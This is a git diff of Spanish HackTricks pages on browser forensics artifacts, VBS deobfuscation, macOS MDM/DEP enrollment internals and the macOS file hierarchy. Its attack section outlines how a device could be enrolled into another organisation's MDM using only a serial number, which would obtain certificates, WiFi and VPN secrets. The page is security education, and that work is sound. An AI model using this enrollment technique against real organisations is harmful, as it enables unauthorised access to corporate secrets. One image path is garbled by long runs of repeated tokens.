tiempo de visita. Usa `sqlite3` para consultar. +- **Downloads.plist**: Información sobre archivos descargados. +- **Bookmarks.plist**: Almacena URLs marcadas. +- **TopSites.plist**: Sitios más visitados. +- **Extensions.plist**: Lista de extensiones del navegador Safari. Usa `plutil` o `pluginkit` para recuperar. +- **UserNotificationPermissions.plist**: Dominios permitidos para enviar notificaciones. Usa `plutil` para analizar. +- **LastSession.plist**: Pestañas de la última sesión. Usa `plutil` para analizar. +- **Antiphishing integrado del navegador**: Verifica usando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Una respuesta de 1 indica que la función está activa. ## Opera -Las bases de datos se pueden encontrar en `/Users/$USER/Library/Application Support/com.operasoftware.Opera` +Los datos de Opera residen en `/Users/$USER/Library/Application Support/com.operasoftware.Opera` y comparten el formato de historial y descargas de Chrome. -Opera **almacena el historial del navegador y los datos de descarga en el mismo formato que Google Chrome**. Esto se aplica tanto a los nombres de archivo como a los nombres de tabla. +- **Antiphishing integrado del navegador**: Verifica si `fraud_protection_enabled` en el archivo Preferences está configurado en `true` usando `grep`. + +Estas rutas y comandos son cruciales para acceder y comprender los datos de navegación almacenados por diferentes navegadores web. + + +# Referencias +* [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a) +* [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/) +* [https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file) +* **Libro: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** -* **Anti-phishing integrado en el navegador:** `grep --color 'fraud_protection_enabled' ~/Library/Application Support/com.operasoftware.Opera/Preferences` -* **fraud\_protection\_enabled** debería ser **true**
@@ -283,10 +196,10 @@ Accede hoy mismo: Otras formas de apoyar a HackTricks: -* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Comparte tus trucos de hacking enviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md index 9f158cba4..b5dd78d01 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md @@ -20,15 +20,15 @@ Algunas cosas que podrían ser útiles para depurar/desofuscar un archivo VBS ma Wscript.Echo "Like this?" ``` ## Comentarios -```text +```bas ' this is a comment ``` ## Prueba -```text +```bas cscript.exe file.vbs ``` ## Escribir datos en un archivo -```aspnet +```js Function writeBinary(strBinary, strPath) Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") diff --git a/macos-hardening/macos-red-teaming/macos-mdm/README.md b/macos-hardening/macos-red-teaming/macos-mdm/README.md index 57e94ef09..e2772c817 100644 --- a/macos-hardening/macos-red-teaming/macos-mdm/README.md +++ b/macos-hardening/macos-red-teaming/macos-mdm/README.md @@ -2,53 +2,57 @@
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (Experto Red Team de HackTricks en AWS)! Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) de GitHub.
+**Para aprender sobre los MDM de macOS, consulta:** + +* [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU) +* [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe) + ## Conceptos básicos -### ¿Qué es MDM (Gestión de Dispositivos Móviles)? +### **Visión general de MDM (Gestión de dispositivos móviles)** +La [Gestión de dispositivos móviles](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) se utiliza para administrar varios dispositivos de usuarios finales como teléfonos inteligentes, computadoras portátiles y tabletas. Especialmente para las plataformas de Apple (iOS, macOS, tvOS), implica un conjunto de características especializadas, API y prácticas. El funcionamiento de MDM depende de un servidor MDM compatible, que puede ser comercial u open-source, y debe admitir el [Protocolo MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Los puntos clave incluyen: -[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM) es una tecnología comúnmente utilizada para **administrar dispositivos de computación de usuarios finales** como teléfonos móviles, portátiles, escritorios y tabletas. En el caso de plataformas de Apple como iOS, macOS y tvOS, se refiere a un conjunto específico de características, APIs y técnicas utilizadas por los administradores para gestionar estos dispositivos. La gestión de dispositivos a través de MDM requiere un servidor MDM comercial o de código abierto compatible que implemente soporte para el [Protocolo MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). +- Control centralizado sobre los dispositivos. +- Dependencia de un servidor MDM que cumpla con el protocolo MDM. +- Capacidad del servidor MDM para enviar varios comandos a los dispositivos, por ejemplo, borrado remoto de datos o instalación de configuraciones. -* Una forma de lograr una **gestión centralizada de dispositivos** -* Requiere un **servidor MDM** que implemente soporte para el protocolo MDM -* El servidor MDM puede **enviar comandos MDM**, como borrado remoto o "instalar esta configuración" +### **Conceptos básicos de DEP (Programa de inscripción de dispositivos)** +El [Programa de inscripción de dispositivos](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) ofrecido por Apple simplifica la integración de la Gestión de dispositivos móviles (MDM) al facilitar la configuración sin intervención para dispositivos iOS, macOS y tvOS. DEP automatiza el proceso de inscripción, permitiendo que los dispositivos estén operativos directamente desde la caja, con una intervención mínima del usuario o administrativa. Aspectos esenciales incluyen: -### Conceptos básicos ¿Qué es DEP (Programa de Inscripción de Dispositivos)? +- Permite que los dispositivos se registren automáticamente con un servidor MDM predefinido al activarse inicialmente. +- Beneficioso principalmente para dispositivos nuevos, pero también aplicable para dispositivos que se están reconfigurando. +- Facilita una configuración sencilla, haciendo que los dispositivos estén listos para su uso organizativo rápidamente. -El [Programa de Inscripción de Dispositivos](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP) es un servicio ofrecido por Apple que **simplifica** la inscripción en la Gestión de Dispositivos Móviles (MDM) ofreciendo una configuración **sin intervención** de dispositivos iOS, macOS y tvOS. A diferencia de los métodos de despliegue más tradicionales, que requieren que el usuario final o el administrador tomen medidas para configurar un dispositivo o inscribirse manualmente con un servidor MDM, DEP tiene como objetivo iniciar este proceso, **permitiendo al usuario desempaquetar un nuevo dispositivo de Apple y tenerlo configurado para su uso en la organización casi inmediatamente**. - -Los administradores pueden aprovechar DEP para inscribir automáticamente los dispositivos en el servidor MDM de su organización. Una vez que un dispositivo está inscrito, **en muchos casos se trata como un dispositivo "confiable"** propiedad de la organización, y podría recibir cualquier número de certificados, aplicaciones, contraseñas de WiFi, configuraciones de VPN [y así sucesivamente](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf). - -* Permite que un dispositivo se inscriba automáticamente en un servidor MDM preconfigurado la **primera vez que se enciende** -* Más útil cuando el **dispositivo** es **completamente nuevo** -* También puede ser útil para flujos de trabajo de **reaprovisionamiento** (**borrado** con una instalación nueva del sistema operativo) +### **Consideraciones de seguridad** +Es crucial tener en cuenta que la facilidad de inscripción proporcionada por DEP, aunque beneficiosa, también puede plantear riesgos de seguridad. Si no se aplican medidas de protección adecuadas para la inscripción en MDM, los atacantes podrían aprovechar este proceso simplificado para registrar su dispositivo en el servidor MDM de la organización, haciéndose pasar por un dispositivo corporativo. {% hint style="danger" %} -Desafortunadamente, si una organización no ha tomado medidas adicionales para **proteger su inscripción en MDM**, un proceso de inscripción simplificado para el usuario final a través de DEP también puede significar un proceso simplificado para que los **atacantes inscriban un dispositivo de su elección en el servidor MDM de la organización**, asumiendo la "identidad" de un dispositivo corporativo. +**Alerta de seguridad**: La inscripción simplificada en DEP podría permitir potencialmente el registro de dispositivos no autorizados en el servidor MDM de la organización si no se implementan salvaguardias adecuadas. {% endhint %} -### Conceptos básicos ¿Qué es SCEP (Protocolo Simple de Inscripción de Certificados)? +### ¿Qué es SCEP (Protocolo de inscripción de certificados simples)? -* Un protocolo relativamente antiguo, creado antes de que TLS y HTTPS estuvieran generalizados. -* Ofrece a los clientes una forma estandarizada de enviar una **Solicitud de Firma de Certificado** (CSR) con el propósito de obtener un certificado. El cliente pedirá al servidor que le otorgue un certificado firmado. +* Un protocolo relativamente antiguo, creado antes de que TLS y HTTPS fueran generalizados. +* Proporciona a los clientes una forma estandarizada de enviar una **Solicitud de firma de certificado** (CSR) con el fin de obtener un certificado. El cliente solicitará al servidor que le proporcione un certificado firmado. -### ¿Qué son los Perfiles de Configuración (también conocidos como mobileconfigs)? +### ¿Qué son los Perfiles de configuración (también conocidos como mobileconfigs)? -* La forma oficial de Apple de **establecer/aplicar la configuración del sistema.** +* Forma oficial de **configurar/imponer la configuración del sistema** de Apple. * Formato de archivo que puede contener múltiples cargas útiles. -* Basado en listas de propiedades (del tipo XML). -* "puede ser firmado y cifrado para validar su origen, asegurar su integridad y proteger su contenido." Conceptos básicos — Página 70, Guía de Seguridad de iOS, enero de 2018. +* Basado en listas de propiedades (el tipo XML). +* "pueden ser firmados y cifrados para validar su origen, garantizar su integridad y proteger su contenido." Conceptos básicos - Página 70, Guía de seguridad de iOS, enero de 2018. ## Protocolos @@ -56,32 +60,32 @@ Desafortunadamente, si una organización no ha tomado medidas adicionales para * * Combinación de APNs (**servidores de Apple**) + API RESTful (**servidores de proveedores de MDM**) * La **comunicación** ocurre entre un **dispositivo** y un servidor asociado con un **producto de gestión de dispositivos** -* **Comandos** entregados desde el MDM al dispositivo en **diccionarios codificados en plist** -* Todo sobre **HTTPS**. Los servidores MDM pueden ser (y usualmente son) fijados. -* Apple otorga al proveedor de MDM un **certificado APNs** para autenticación +* Los **comandos** se entregan desde el MDM al dispositivo en **diccionarios codificados en plist** +* Todo a través de **HTTPS**. Los servidores de MDM pueden estar (y generalmente están) anclados. +* Apple otorga al proveedor de MDM un **certificado de APNs** para la autenticación ### DEP -* **3 APIs**: 1 para revendedores, 1 para proveedores de MDM, 1 para identidad del dispositivo (no documentada): -* La llamada [API de "servicio en la nube" de DEP](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Esta es utilizada por los servidores MDM para asociar perfiles DEP con dispositivos específicos. -* La [API de DEP utilizada por Revendedores Autorizados de Apple](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) para inscribir dispositivos, verificar el estado de inscripción y verificar el estado de la transacción. -* La API privada de DEP no documentada. Esta es utilizada por Dispositivos Apple para solicitar su perfil DEP. En macOS, el binario `cloudconfigurationd` es responsable de comunicarse a través de esta API. +* **3 API**: 1 para revendedores, 1 para proveedores de MDM, 1 para identidad de dispositivos (no documentada): +* La llamada [API de "servicio en la nube" de DEP](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Esta es utilizada por los servidores de MDM para asociar perfiles DEP con dispositivos específicos. +* La [API de DEP utilizada por los Revendedores Autorizados de Apple](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) para inscribir dispositivos, verificar el estado de inscripción y verificar el estado de transacción. +* La API privada no documentada de DEP. Esta es utilizada por los dispositivos de Apple para solicitar su perfil DEP. En macOS, el binario `cloudconfigurationd` es responsable de comunicarse a través de esta API. * Más moderna y basada en **JSON** (en comparación con plist) -* Apple otorga un **token OAuth** al proveedor de MDM +* Apple otorga un **token de OAuth** al proveedor de MDM **API de "servicio en la nube" de DEP** * RESTful -* sincroniza registros de dispositivos de Apple al servidor MDM -* sincroniza "perfiles DEP" a Apple desde el servidor MDM (entregados por Apple al dispositivo más tarde) -* Un perfil DEP contiene: +* sincroniza registros de dispositivos de Apple al servidor de MDM +* sincroniza perfiles DEP a Apple desde el servidor de MDM (entregados por Apple al dispositivo más tarde) +* Un "perfil" DEP contiene: * URL del servidor del proveedor de MDM -* Certificados de confianza adicionales para la URL del servidor (fijación opcional) -* Configuraciones extra (por ejemplo, qué pantallas omitir en el Asistente de Configuración) +* Certificados de confianza adicionales para la URL del servidor (anclaje opcional) +* Configuraciones adicionales (por ejemplo, qué pantallas omitir en el Asistente de configuración) -## Número de Serie +## Número de serie -Los dispositivos de Apple fabricados después de 2010 generalmente tienen números de serie alfanuméricos de **12 caracteres**, con los **primeros tres dígitos representando el lugar de fabricación**, los siguientes **dos** indicando el **año** y la **semana** de fabricación, los siguientes **tres** dígitos proporcionando un **identificador único**, y los **últimos cuatro dígitos representando el número de modelo**. +Los dispositivos de Apple fabricados después de 2010 generalmente tienen números de serie alfanuméricos de **12 caracteres**, con los **tres primeros dígitos representando la ubicación de fabricación**, los siguientes **dos** indicando el **año** y la **semana** de fabricación, los siguientes **tres** dígitos proporcionando un **identificador único**, y los **últimos** **cuatro** dígitos representando el **número de modelo**. {% content-ref url="macos-serial-number.md" %} [macos-serial-number.md](macos-serial-number.md) @@ -89,19 +93,19 @@ Los dispositivos de Apple fabricados después de 2010 generalmente tienen númer ## Pasos para la inscripción y gestión -1. Creación de registro de dispositivo (Revendedor, Apple): Se crea el registro para el nuevo dispositivo +1. Creación de registro de dispositivo (Revendedor, Apple): Se crea el registro del nuevo dispositivo 2. Asignación de registro de dispositivo (Cliente): El dispositivo se asigna a un servidor MDM -3. Sincronización de registro de dispositivo (Proveedor de MDM): MDM sincroniza los registros de dispositivos y empuja los perfiles DEP a Apple -4. Verificación DEP (Dispositivo): El dispositivo obtiene su perfil DEP +3. Sincronización de registro de dispositivo (Proveedor de MDM): El MDM sincroniza los registros de dispositivos y envía los perfiles DEP a Apple +4. Check-in DEP (Dispositivo): El dispositivo obtiene su perfil DEP 5. Recuperación de perfil (Dispositivo) -6. Instalación de perfil (Dispositivo) a. incl. cargas útiles MDM, SCEP y CA raíz -7. Emisión de comandos MDM (Dispositivo) +6. Instalación de perfil (Dispositivo) a. incl. cargas útiles de MDM, SCEP y CA raíz +7. Emisión de comandos de MDM (Dispositivo) ![](<../../../.gitbook/assets/image (564).png>) -El archivo `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` exporta funciones que pueden considerarse **pasos de alto nivel** del proceso de inscripción. +El archivo `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` exporta funciones que se pueden considerar como **"pasos" de alto nivel** del proceso de inscripción. -### Paso 4: Verificación DEP - Obtener el Registro de Activación +### Paso 4: Check-in DEP - Obtención del Registro de Activación Esta parte del proceso ocurre cuando un **usuario inicia un Mac por primera vez** (o después de un borrado completo) @@ -109,26 +113,26 @@ Esta parte del proceso ocurre cuando un **usuario inicia un Mac por primera vez* o al ejecutar `sudo profiles show -type enrollment` -* Determinar **si el dispositivo está habilitado para DEP** -* Registro de Activación es el nombre interno para el **perfil DEP** +* Determinar si el dispositivo está habilitado para DEP +* El Registro de Activación es el nombre interno del **perfil DEP** * Comienza tan pronto como el dispositivo se conecta a Internet * Impulsado por **`CPFetchActivationRecord`** -* Implementado por **`cloudconfigurationd`** a través de XPC. El **"Asistente de Configuración"** (cuando el dispositivo se inicia por primera vez) o el comando **`profiles`** **contactarán a este demonio** para recuperar el registro de activación. +* Implementado por **`cloudconfigurationd`** a través de XPC. El **"Asistente de configuración**" (cuando se inicia el dispositivo por primera vez) o el comando **`profiles`** contactarán a este demonio para recuperar el registro de activación. * LaunchDaemon (siempre se ejecuta como root) -Sigue algunos pasos para obtener el Registro de Activación realizados por **`MCTeslaConfigurationFetcher`**. Este proceso utiliza un cifrado llamado **Absinthe** +Sigue algunos pasos para obtener el Registro de Activación realizado por **`MCTeslaConfigurationFetcher`**. Este proceso utiliza un cifrado llamado **Absinthe** 1. Recuperar **certificado** 1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) -2. **Inicializar** estado a partir del certificado (**`NACInit`**) -1. Utiliza varios datos específicos del dispositivo (es decir, **Número de Serie a través de `IOKit`**) +2. **Inicializar** estado desde el certificado (**`NACInit`**) +1. Utiliza varios datos específicos del dispositivo (es decir, **Número de serie a través de `IOKit`**) 3. Recuperar **clave de sesión** 1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) 4. Establecer la sesión (**`NACKeyEstablishment`**) -5. Hacer la solicitud +5. Realizar la solicitud 1. POST a [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) enviando los datos `{ "action": "RequestProfileConfiguration", "sn": "" }` -2. La carga útil JSON está cifrada usando Absinthe (**`NACSign`**) -3. Todas las solicitudes sobre HTTPs, se utilizan certificados raíz integrados +2. La carga útil JSON se cifra usando Absinthe (**`NACSign`**) +3. Todas las solicitudes a través de HTTPS, se utilizan certificados raíz integrados ![](<../../../.gitbook/assets/image (566).png>) @@ -137,17 +141,82 @@ La respuesta es un diccionario JSON con algunos datos importantes como: * **url**: URL del host del proveedor de MDM para el perfil de activación * **anchor-certs**: Array de certificados DER utilizados como anclas de confianza -### **Paso 5: Recuperación de Perfil** +### **Paso 5: Recuperación de perfil** ![](<../../../.gitbook/assets/image (567).png>) -* Solicitud enviada a la **url proporcionada en el perfil DEP**. -* Los **certificados de ancla** se utilizan para **evaluar la confianza** si se proporcionan. +* Solicitud enviada a la **URL proporcionada en el perfil DEP**. +* Se utilizan **certificados de anclaje** para **evaluar la confianza** si se proporcionan. * Recordatorio: la propiedad **anchor\_certs** del perfil DEP -* **La solicitud es un simple .plist** con identificación del dispositivo -* Ejemplos: **UDID, versión del sistema operativo**. -* Firmado CMS, codificado DER +* La **solicitud es un simple .plist** con identificación del dispositivo +* Ejemplos: **UDID, versión de SO**. +* Firmado con CMS, codificado en DER * Firmado usando el **certificado de identidad del dispositivo (de APNS)** -* **Cadena de certificados** incluye **Apple iPhone Device CA** expirado +* La **cadena de certificados** incluye el **Apple iPhone Device CA** caducado -![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1. (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) ( +![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (7).png>) + +### Paso 6: Instalación de perfil + +* Una vez recuperado, el **perfil se almacena en el sistema** +* Este paso comienza automáticamente (si está en el **asistente de configuración**) +* Impulsado por **`CPInstallActivationProfile`** +* Implementado por mdmclient a través de XPC +* LaunchDaemon (como root) o LaunchAgent (como usuario), dependiendo del contexto +* Los perfiles de configuración tienen múltiples cargas útiles para instalar +* El framework tiene una arquitectura basada en complementos para instalar perfiles +* Cada tipo de carga útil está asociado con un complemento +* Puede ser XPC (en el framework) o Cocoa clásico (en ManagedClient.app) +* Ejemplo: +* Las cargas útiles de certificados utilizan CertificateService.xpc + +Típicamente, el **perfil de activación** proporcionado por un proveedor de MDM incluirá las siguientes cargas útiles: + +* `com.apple.mdm`: para **inscribir** el dispositivo en MDM +* `com.apple.security.scep`: para proporcionar de forma segura un **certificado de cliente** al dispositivo. +* `com.apple.security.pem`: para **instalar certificados CA de confianza** en el Llavero del Sistema del dispositivo. +* La instalación de la carga útil de MDM equivalente al **check-in de MDM en la documentación** +* La carga útil **contiene propiedades clave**: +* +* URL de Check-In de MDM (**`CheckInURL`**) +* URL de sondeo de comandos de MDM (**`ServerURL`**) + tema de APNs para activarlo +* Para instalar la carga útil de MDM, se envía una solicitud a **`CheckInURL`** +* Implementado en **`mdmclient`** +* La carga útil de MDM puede depender de otras cargas útiles +* Permite **anclar las solicitudes a certificados específicos**: +* Propiedad: **`CheckInURLPinningCertificateUUIDs`** +* Propiedad: **`ServerURLPinningCertificateUUIDs`** +* Entregado a través de la carga útil PEM +* Permite que el dispositivo sea atribuido con un certificado de identidad: +* Propiedad: IdentityCertificateUUID +* Entregado a través de la carga útil SCEP + +### **Paso 7: Escucha de comandos de MDM** + +* Después de que se complete el check-in de MDM, el proveedor puede **emitir notificaciones push utilizando APNs** +* Al recibirlas, son manejadas por **`mdmclient`** +* Para sondear los comandos de MDM, se envía una solicitud a ServerURL +* Utiliza la carga útil de MDM previamente instalada: +* **`ServerURLPinningCertificateUUIDs`** para anclar la solicitud +* **`IdentityCertificateUUID`** para el certificado de cliente TLS + +## Ataques + +### Inscripción de dispositivos en otras organizaciones + +Como se mencionó anteriormente, para intentar inscribir un dispositivo en una organización **solo se necesita un Número de Serie perteneciente a esa Organización**. Una vez que el dispositivo está inscrito, varias organizaciones instalarán datos sensibles en el nuevo dispositivo: certificados, aplicaciones, contraseñas de WiFi, configuraciones de VPN [y más](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ +Por lo tanto, este podría ser un punto de entrada peligroso para los atacantes si el proceso de inscripción no está protegido correctamente: + +{% content-ref url="enrolling-devices-in-other-organisations.md" %} +[enrolling-devices-in-other-organisations.md](enrolling-devices-in-other-organisations.md) +{% endcontent-ref %} + + +
+ +Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (Experto Red Team de HackTricks en AWS)! + +Otras formas de apoyar a HackTricks: + +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén la diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md index e12a4af4a..39b654b8f 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md @@ -1,51 +1,51 @@ -# Archivos, Carpetas, Binarios y Memoria de macOS +# macOS Archivos, Carpetas, Binarios y Memoria
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
## Estructura jerárquica de archivos -* **/Applications**: Las aplicaciones instaladas deben estar aquí. Todos los usuarios podrán acceder a ellas. +* **/Applications**: Las aplicaciones instaladas deberían estar aquí. Todos los usuarios podrán acceder a ellas. * **/bin**: Binarios de línea de comandos -* **/cores**: Si existe, se utiliza para almacenar volcados de memoria -* **/dev**: Todo se trata como un archivo, por lo que puedes ver dispositivos de hardware almacenados aquí. +* **/cores**: Si existe, se utiliza para almacenar volcados de núcleo +* **/dev**: Todo se trata como un archivo, por lo que es posible ver dispositivos de hardware almacenados aquí. * **/etc**: Archivos de configuración -* **/Library**: Aquí se pueden encontrar muchos subdirectorios y archivos relacionados con preferencias, cachés y registros. Existe una carpeta Library en la raíz y en el directorio de cada usuario. +* **/Library**: Se pueden encontrar muchos subdirectorios y archivos relacionados con preferencias, cachés y registros. Existe una carpeta Library en la raíz y en el directorio de cada usuario. * **/private**: No documentado, pero muchos de los directorios mencionados son enlaces simbólicos al directorio privado. -* **/sbin**: Binarios esenciales del sistema (relacionados con la administración) +* **/sbin**: Binarios del sistema esenciales (relacionados con la administración) * **/System**: Archivo para hacer funcionar OS X. 